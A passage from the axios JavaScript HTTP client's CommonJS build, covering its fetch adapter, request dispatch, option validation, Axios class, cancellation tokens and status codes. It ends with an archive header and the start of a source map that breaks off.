    finished = true;
  };

  let requestContentLength;

  try {
    if (
      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&
      (requestContentLength = await resolveBodyLength(headers, data)) !== 0
    ) {
      let _request = new Request(url, {
        method: 'POST',
        body: data,
        duplex: "half"
      });

      let contentTypeHeader;

      if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {
        headers.setContentType(contentTypeHeader);
      }

      if (_request.body) {
        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(
          requestContentLength,
          progressEventReducer(onUploadProgress)
        ), null, encodeText);
      }
    }

    if (!utils$1.isString(withCredentials)) {
      withCredentials = withCredentials ? 'cors' : 'omit';
    }

    request = new Request(url, {
      ...fetchOptions,
      signal: composedSignal,
      method: method.toUpperCase(),
      headers: headers.normalize().toJSON(),
      body: data,
      duplex: "half",
      withCredentials
    });

    let response = await fetch(request);

    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');

    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {
      const options = {};

      ['status', 'statusText', 'headers'].forEach(prop => {
        options[prop] = response[prop];
      });

      const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length'));

      response = new Response(
        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(
          responseContentLength,
          progressEventReducer(onDownloadProgress, true)
        ), isStreamResponse && onFinish, encodeText),
        options
      );
    }

    responseType = responseType || 'text';

    let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config);

    !isStreamResponse && onFinish();

    stopTimeout && stopTimeout();

    return await new Promise((resolve, reject) => {
      settle(resolve, reject, {
        data: responseData,
        headers: AxiosHeaders$1.from(response.headers),
        status: response.status,
        statusText: response.statusText,
        config,
        request
      });
    })
  } catch (err) {
    onFinish();

    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {
      throw Object.assign(
        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),
        {
          cause: err.cause || err
        }
      )
    }

    throw AxiosError.from(err, err && err.code, config, request);
  }
});

const knownAdapters = {
  http: httpAdapter,
  xhr: xhrAdapter,
  fetch: fetchAdapter
};

utils$1.forEach(knownAdapters, (fn, value) => {
  if (fn) {
    try {
      Object.defineProperty(fn, 'name', {value});
    } catch (e) {
      // eslint-disable-next-line no-empty
    }
    Object.defineProperty(fn, 'adapterName', {value});
  }
});

const renderReason = (reason) => `- ${reason}`;

const isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false;

const adapters = {
  getAdapter: (adapters) => {
    adapters = utils$1.isArray(adapters) ? adapters : [adapters];

    const {length} = adapters;
    let nameOrAdapter;
    let adapter;

    const rejectedReasons = {};

    for (let i = 0; i < length; i++) {
      nameOrAdapter = adapters[i];
      let id;

      adapter = nameOrAdapter;

      if (!isResolvedHandle(nameOrAdapter)) {
        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];

        if (adapter === undefined) {
          throw new AxiosError(`Unknown adapter '${id}'`);
        }
      }

      if (adapter) {
        break;
      }

      rejectedReasons[id || '#' + i] = adapter;
    }

    if (!adapter) {

      const reasons = Object.entries(rejectedReasons)
        .map(([id, state]) => `adapter ${id} ` +
          (state === false ? 'is not supported by the environment' : 'is not available in the build')
        );

      let s = length ?
        (reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0])) :
        'as no adapter specified';

      throw new AxiosError(
        `There is no suitable adapter to dispatch the request ` + s,
        'ERR_NOT_SUPPORT'
      );
    }

    return adapter;
  },
  adapters: knownAdapters
};

/**
 * Throws a `CanceledError` if cancellation has been requested.
 *
 * @param {Object} config The config that is to be used for the request
 *
 * @returns {void}
 */
function throwIfCancellationRequested(config) {
  if (config.cancelToken) {
    config.cancelToken.throwIfRequested();
  }

  if (config.signal && config.signal.aborted) {
    throw new CanceledError(null, config);
  }
}

/**
 * Dispatch a request to the server using the configured adapter.
 *
 * @param {object} config The config that is to be used for the request
 *
 * @returns {Promise} The Promise to be fulfilled
 */
function dispatchRequest(config) {
  throwIfCancellationRequested(config);

  config.headers = AxiosHeaders$1.from(config.headers);

  // Transform request data
  config.data = transformData.call(
    config,
    config.transformRequest
  );

  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {
    config.headers.setContentType('application/x-www-form-urlencoded', false);
  }

  const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter);

  return adapter(config).then(function onAdapterResolution(response) {
    throwIfCancellationRequested(config);

    // Transform response data
    response.data = transformData.call(
      config,
      config.transformResponse,
      response
    );

    response.headers = AxiosHeaders$1.from(response.headers);

    return response;
  }, function onAdapterRejection(reason) {
    if (!isCancel(reason)) {
      throwIfCancellationRequested(config);

      // Transform response data
      if (reason && reason.response) {
        reason.response.data = transformData.call(
          config,
          config.transformResponse,
          reason.response
        );
        reason.response.headers = AxiosHeaders$1.from(reason.response.headers);
      }
    }

    return Promise.reject(reason);
  });
}

const validators$1 = {};

// eslint-disable-next-line func-names
['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {
  validators$1[type] = function validator(thing) {
    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;
  };
});

const deprecatedWarnings = {};

/**
 * Transitional option validator
 *
 * @param {function|boolean?} validator - set to false if the transitional option has been removed
 * @param {string?} version - deprecated version / removed since version
 * @param {string?} message - some message with additional info
 *
 * @returns {function}
 */
validators$1.transitional = function transitional(validator, version, message) {
  function formatMessage(opt, desc) {
    return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : '');
  }

  // eslint-disable-next-line func-names
  return (value, opt, opts) => {
    if (validator === false) {
      throw new AxiosError(
        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),
        AxiosError.ERR_DEPRECATED
      );
    }

    if (version && !deprecatedWarnings[opt]) {
      deprecatedWarnings[opt] = true;
      // eslint-disable-next-line no-console
      console.warn(
        formatMessage(
          opt,
          ' has been deprecated since v' + version + ' and will be removed in the near future'
        )
      );
    }

    return validator ? validator(value, opt, opts) : true;
  };
};

/**
 * Assert object's properties type
 *
 * @param {object} options
 * @param {object} schema
 * @param {boolean?} allowUnknown
 *
 * @returns {object}
 */

function assertOptions(options, schema, allowUnknown) {
  if (typeof options !== 'object') {
    throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);
  }
  const keys = Object.keys(options);
  let i = keys.length;
  while (i-- > 0) {
    const opt = keys[i];
    const validator = schema[opt];
    if (validator) {
      const value = options[opt];
      const result = value === undefined || validator(value, opt, options);
      if (result !== true) {
        throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);
      }
      continue;
    }
    if (allowUnknown !== true) {
      throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);
    }
  }
}

const validator = {
  assertOptions,
  validators: validators$1
};

const validators = validator.validators;

/**
 * Create a new instance of Axios
 *
 * @param {Object} instanceConfig The default config for the instance
 *
 * @return {Axios} A new instance of Axios
 */
class Axios {
  constructor(instanceConfig) {
    this.defaults = instanceConfig;
    this.interceptors = {
      request: new InterceptorManager$1(),
      response: new InterceptorManager$1()
    };
  }

  /**
   * Dispatch a request
   *
   * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)
   * @param {?Object} config
   *
   * @returns {Promise} The Promise to be fulfilled
   */
  async request(configOrUrl, config) {
    try {
      return await this._request(configOrUrl, config);
    } catch (err) {
      if (err instanceof Error) {
        let dummy;

        Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());

        // slice off the Error: ... line
        const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : '';
        try {
          if (!err.stack) {
            err.stack = stack;
            // match without the 2 top stack lines
          } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) {
            err.stack += '\n' + stack;
          }
        } catch (e) {
          // ignore the case where "stack" is an un-writable property
        }
      }

      throw err;
    }
  }

  _request(configOrUrl, config) {
    /*eslint no-param-reassign:0*/
    // Allow for axios('example/url'[, config]) a la fetch API
    if (typeof configOrUrl === 'string') {
      config = config || {};
      config.url = configOrUrl;
    } else {
      config = configOrUrl || {};
    }

    config = mergeConfig(this.defaults, config);

    const {transitional, paramsSerializer, headers} = config;

    if (transitional !== undefined) {
      validator.assertOptions(transitional, {
        silentJSONParsing: validators.transitional(validators.boolean),
        forcedJSONParsing: validators.transitional(validators.boolean),
        clarifyTimeoutError: validators.transitional(validators.boolean)
      }, false);
    }

    if (paramsSerializer != null) {
      if (utils$1.isFunction(paramsSerializer)) {
        config.paramsSerializer = {
          serialize: paramsSerializer
        };
      } else {
        validator.assertOptions(paramsSerializer, {
          encode: validators.function,
          serialize: validators.function
        }, true);
      }
    }

    // Set config.method
    config.method = (config.method || this.defaults.method || 'get').toLowerCase();

    // Flatten headers
    let contextHeaders = headers && utils$1.merge(
      headers.common,
      headers[config.method]
    );

    headers && utils$1.forEach(
      ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],
      (method) => {
        delete headers[method];
      }
    );

    config.headers = AxiosHeaders$1.concat(contextHeaders, headers);

    // filter out skipped interceptors
    const requestInterceptorChain = [];
    let synchronousRequestInterceptors = true;
    this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
      if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {
        return;
      }

      synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;

      requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);
    });

    const responseInterceptorChain = [];
    this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
      responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);
    });

    let promise;
    let i = 0;
    let len;

    if (!synchronousRequestInterceptors) {
      const chain = [dispatchRequest.bind(this), undefined];
      chain.unshift.apply(chain, requestInterceptorChain);
      chain.push.apply(chain, responseInterceptorChain);
      len = chain.length;

      promise = Promise.resolve(config);

      while (i < len) {
        promise = promise.then(chain[i++], chain[i++]);
      }

      return promise;
    }

    len = requestInterceptorChain.length;

    let newConfig = config;

    i = 0;

    while (i < len) {
      const onFulfilled = requestInterceptorChain[i++];
      const onRejected = requestInterceptorChain[i++];
      try {
        newConfig = onFulfilled(newConfig);
      } catch (error) {
        onRejected.call(this, error);
        break;
      }
    }

    try {
      promise = dispatchRequest.call(this, newConfig);
    } catch (error) {
      return Promise.reject(error);
    }

    i = 0;
    len = responseInterceptorChain.length;

    while (i < len) {
      promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);
    }

    return promise;
  }

  getUri(config) {
    config = mergeConfig(this.defaults, config);
    const fullPath = buildFullPath(config.baseURL, config.url);
    return buildURL(fullPath, config.params, config.paramsSerializer);
  }
}

// Provide aliases for supported request methods
utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
  /*eslint func-names:0*/
  Axios.prototype[method] = function(url, config) {
    return this.request(mergeConfig(config || {}, {
      method,
      url,
      data: (config || {}).data
    }));
  };
});

utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
  /*eslint func-names:0*/

  function generateHTTPMethod(isForm) {
    return function httpMethod(url, data, config) {
      return this.request(mergeConfig(config || {}, {
        method,
        headers: isForm ? {
          'Content-Type': 'multipart/form-data'
        } : {},
        url,
        data
      }));
    };
  }

  Axios.prototype[method] = generateHTTPMethod();

  Axios.prototype[method + 'Form'] = generateHTTPMethod(true);
});

const Axios$1 = Axios;

/**
 * A `CancelToken` is an object that can be used to request cancellation of an operation.
 *
 * @param {Function} executor The executor function.
 *
 * @returns {CancelToken}
 */
class CancelToken {
  constructor(executor) {
    if (typeof executor !== 'function') {
      throw new TypeError('executor must be a function.');
    }

    let resolvePromise;

    this.promise = new Promise(function promiseExecutor(resolve) {
      resolvePromise = resolve;
    });

    const token = this;

    // eslint-disable-next-line func-names
    this.promise.then(cancel => {
      if (!token._listeners) return;

      let i = token._listeners.length;

      while (i-- > 0) {
        token._listeners[i](cancel);
      }
      token._listeners = null;
    });

    // eslint-disable-next-line func-names
    this.promise.then = onfulfilled => {
      let _resolve;
      // eslint-disable-next-line func-names
      const promise = new Promise(resolve => {
        token.subscribe(resolve);
        _resolve = resolve;
      }).then(onfulfilled);

      promise.cancel = function reject() {
        token.unsubscribe(_resolve);
      };

      return promise;
    };

    executor(function cancel(message, config, request) {
      if (token.reason) {
        // Cancellation has already been requested
        return;
      }

      token.reason = new CanceledError(message, config, request);
      resolvePromise(token.reason);
    });
  }

  /**
   * Throws a `CanceledError` if cancellation has been requested.
   */
  throwIfRequested() {
    if (this.reason) {
      throw this.reason;
    }
  }

  /**
   * Subscribe to the cancel signal
   */

  subscribe(listener) {
    if (this.reason) {
      listener(this.reason);
      return;
    }

    if (this._listeners) {
      this._listeners.push(listener);
    } else {
      this._listeners = [listener];
    }
  }

  /**
   * Unsubscribe from the cancel signal
   */

  unsubscribe(listener) {
    if (!this._listeners) {
      return;
    }
    const index = this._listeners.indexOf(listener);
    if (index !== -1) {
      this._listeners.splice(index, 1);
    }
  }

  /**
   * Returns an object that contains a new `CancelToken` and a function that, when called,
   * cancels the `CancelToken`.
   */
  static source() {
    let cancel;
    const token = new CancelToken(function executor(c) {
      cancel = c;
    });
    return {
      token,
      cancel
    };
  }
}

const CancelToken$1 = CancelToken;

/**
 * Syntactic sugar for invoking a function and expanding an array for arguments.
 *
 * Common use case would be to use `Function.prototype.apply`.
 *
 *  ```js
 *  function f(x, y, z) {}
 *  var args = [1, 2, 3];
 *  f.apply(null, args);
 *  ```
 *
 * With `spread` this example can be re-written.
 *
 *  ```js
 *  spread(function(x, y, z) {})([1, 2, 3]);
 *  ```
 *
 * @param {Function} callback
 *
 * @returns {Function}
 */
function spread(callback) {
  return function wrap(arr) {
    return callback.apply(null, arr);
  };
}

/**
 * Determines whether the payload is an error thrown by Axios
 *
 * @param {*} payload The value to test
 *
 * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false
 */
function isAxiosError(payload) {
  return utils$1.isObject(payload) && (payload.isAxiosError === true);
}

const HttpStatusCode = {
  Continue: 100,
  SwitchingProtocols: 101,
  Processing: 102,
  EarlyHints: 103,
  Ok: 200,
  Created: 201,
  Accepted: 202,
  NonAuthoritativeInformation: 203,
  NoContent: 204,
  ResetContent: 205,
  PartialContent: 206,
  MultiStatus: 207,
  AlreadyReported: 208,
  ImUsed: 226,
  MultipleChoices: 300,
  MovedPermanently: 301,
  Found: 302,
  SeeOther: 303,
  NotModified: 304,
  UseProxy: 305,
  Unused: 306,
  TemporaryRedirect: 307,
  PermanentRedirect: 308,
  BadRequest: 400,
  Unauthorized: 401,
  PaymentRequired: 402,
  Forbidden: 403,
  NotFound: 404,
  MethodNotAllowed: 405,
  NotAcceptable: 406,
  ProxyAuthenticationRequired: 407,
  RequestTimeout: 408,
  Conflict: 409,
  Gone: 410,
  LengthRequired: 411,
  PreconditionFailed: 412,
  PayloadTooLarge: 413,
  UriTooLong: 414,
  UnsupportedMediaType: 415,
  RangeNotSatisfiable: 416,
  ExpectationFailed: 417,
  ImATeapot: 418,
  MisdirectedRequest: 421,
  UnprocessableEntity: 422,
  Locked: 423,
  FailedDependency: 424,
  TooEarly: 425,
  UpgradeRequired: 426,
  PreconditionRequired: 428,
  TooManyRequests: 429,
  RequestHeaderFieldsTooLarge: 431,
  UnavailableForLegalReasons: 451,
  InternalServerError: 500,
  NotImplemented: 501,
  BadGateway: 502,
  ServiceUnavailable: 503,
  GatewayTimeout: 504,
  HttpVersionNotSupported: 505,
  VariantAlsoNegotiates: 506,
  InsufficientStorage: 507,
  LoopDetected: 508,
  NotExtended: 510,
  NetworkAuthenticationRequired: 511,
};

Object.entries(HttpStatusCode).forEach(([key, value]) => {
  HttpStatusCode[value] = key;
});

const HttpStatusCode$1 = HttpStatusCode;

/**
 * Create an instance of Axios
 *
 * @param {Object} defaultConfig The default config for the instance
 *
 * @returns {Axios} A new instance of Axios
 */
function createInstance(defaultConfig) {
  const context = new Axios$1(defaultConfig);
  const instance = bind(Axios$1.prototype.request, context);

  // Copy axios.prototype to instance
  utils$1.extend(instance, Axios$1.prototype, context, {allOwnKeys: true});

  // Copy context to instance
  utils$1.extend(instance, context, null, {allOwnKeys: true});

  // Factory for creating new instances
  instance.create = function create(instanceConfig) {
    return createInstance(mergeConfig(defaultConfig, instanceConfig));
  };

  return instance;
}

// Create the default instance to be exported
const axios = createInstance(defaults$1);

// Expose Axios class to allow class inheritance
axios.Axios = Axios$1;

// Expose Cancel & CancelToken
axios.CanceledError = CanceledError;
axios.CancelToken = CancelToken$1;
axios.isCancel = isCancel;
axios.VERSION = VERSION;
axios.toFormData = toFormData;

// Expose AxiosError class
axios.AxiosError = AxiosError;

// alias for CanceledError for backward compatibility
axios.Cancel = axios.CanceledError;

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};

axios.spread = spread;

// Expose isAxiosError
axios.isAxiosError = isAxiosError;

// Expose mergeConfig
axios.mergeConfig = mergeConfig;

axios.AxiosHeaders = AxiosHeaders$1;

axios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing);

axios.getAdapter = adapters.getAdapter;

axios.HttpStatusCode = HttpStatusCode$1;

axios.default = axios;

module.exports = axios;
//# sourceMappingURL=axios.cjs.map
node/axios.cjs.map000064400001015516151677271550010122 0ustar00{"version":3,"file":"axios.cjs","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/node/classes/URLSearchParams.js","../../lib/platform/node/index.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/buildFullPath.js","../../lib/env/data.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/fromDataURI.js","../../lib/helpers/throttle.js","../../lib/helpers/speedometer.js","../../lib/helpers/AxiosTransformStream.js","../../lib/helpers/readBlob.js","../../lib/helpers/formDataToStream.js","../../lib/helpers/ZlibHeaderTransformStream.js","../../lib/helpers/callbackify.js","../../lib/adapters/http.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/core/dispatchRequest.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n  return function wrap() {\n    return fn.apply(thisArg, arguments);\n  };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n    const str = toString.call(thing);\n    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n  type = type.toLowerCase();\n  return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  let result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n  if (kindOf(val) !== 'object') {\n    return false;\n  }\n\n  const prototype = getPrototypeOf(val);\n  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n  let kind;\n  return thing && (\n    (typeof FormData === 'function' && thing instanceof FormData) || (\n      isFunction(thing.append) && (\n        (kind = kindOf(thing)) === 'formdata' ||\n        // detect form-data instance\n        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n  str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  let i;\n  let l;\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n    const len = keys.length;\n    let key;\n\n    for (i = 0; i < len; i++) {\n      key = keys[i];\n      fn.call(null, obj[key], key, obj);\n    }\n  }\n}\n\nfunction findKey(obj, key) {\n  key = key.toLowerCase();\n  const keys = Object.keys(obj);\n  let i = keys.length;\n  let _key;\n  while (i-- > 0) {\n    _key = keys[i];\n    if (key === _key.toLowerCase()) {\n      return _key;\n    }\n  }\n  return null;\n}\n\nconst _global = (() => {\n  /*eslint no-undef:0*/\n  if (typeof globalThis !== \"undefined\") return globalThis;\n  return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const {caseless} = isContextDefined(this) && this || {};\n  const result = {};\n  const assignValue = (val, key) => {\n    const targetKey = caseless && findKey(result, key) || key;\n    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n      result[targetKey] = merge(result[targetKey], val);\n    } else if (isPlainObject(val)) {\n      result[targetKey] = merge({}, val);\n    } else if (isArray(val)) {\n      result[targetKey] = val.slice();\n    } else {\n      result[targetKey] = val;\n    }\n  }\n\n  for (let i = 0, l = arguments.length; i < l; i++) {\n    arguments[i] && forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n  forEach(b, (val, key) => {\n    if (thisArg && isFunction(val)) {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  }, {allOwnKeys});\n  return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n  if (content.charCodeAt(0) === 0xFEFF) {\n    content = content.slice(1);\n  }\n  return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n  constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n  constructor.prototype.constructor = constructor;\n  Object.defineProperty(constructor, 'super', {\n    value: superConstructor.prototype\n  });\n  props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n  let props;\n  let i;\n  let prop;\n  const merged = {};\n\n  destObj = destObj || {};\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  if (sourceObj == null) return destObj;\n\n  do {\n    props = Object.getOwnPropertyNames(sourceObj);\n    i = props.length;\n    while (i-- > 0) {\n      prop = props[i];\n      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n        destObj[prop] = sourceObj[prop];\n        merged[prop] = true;\n      }\n    }\n    sourceObj = filter !== false && getPrototypeOf(sourceObj);\n  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n  return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n  str = String(str);\n  if (position === undefined || position > str.length) {\n    position = str.length;\n  }\n  position -= searchString.length;\n  const lastIndex = str.indexOf(searchString, position);\n  return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = 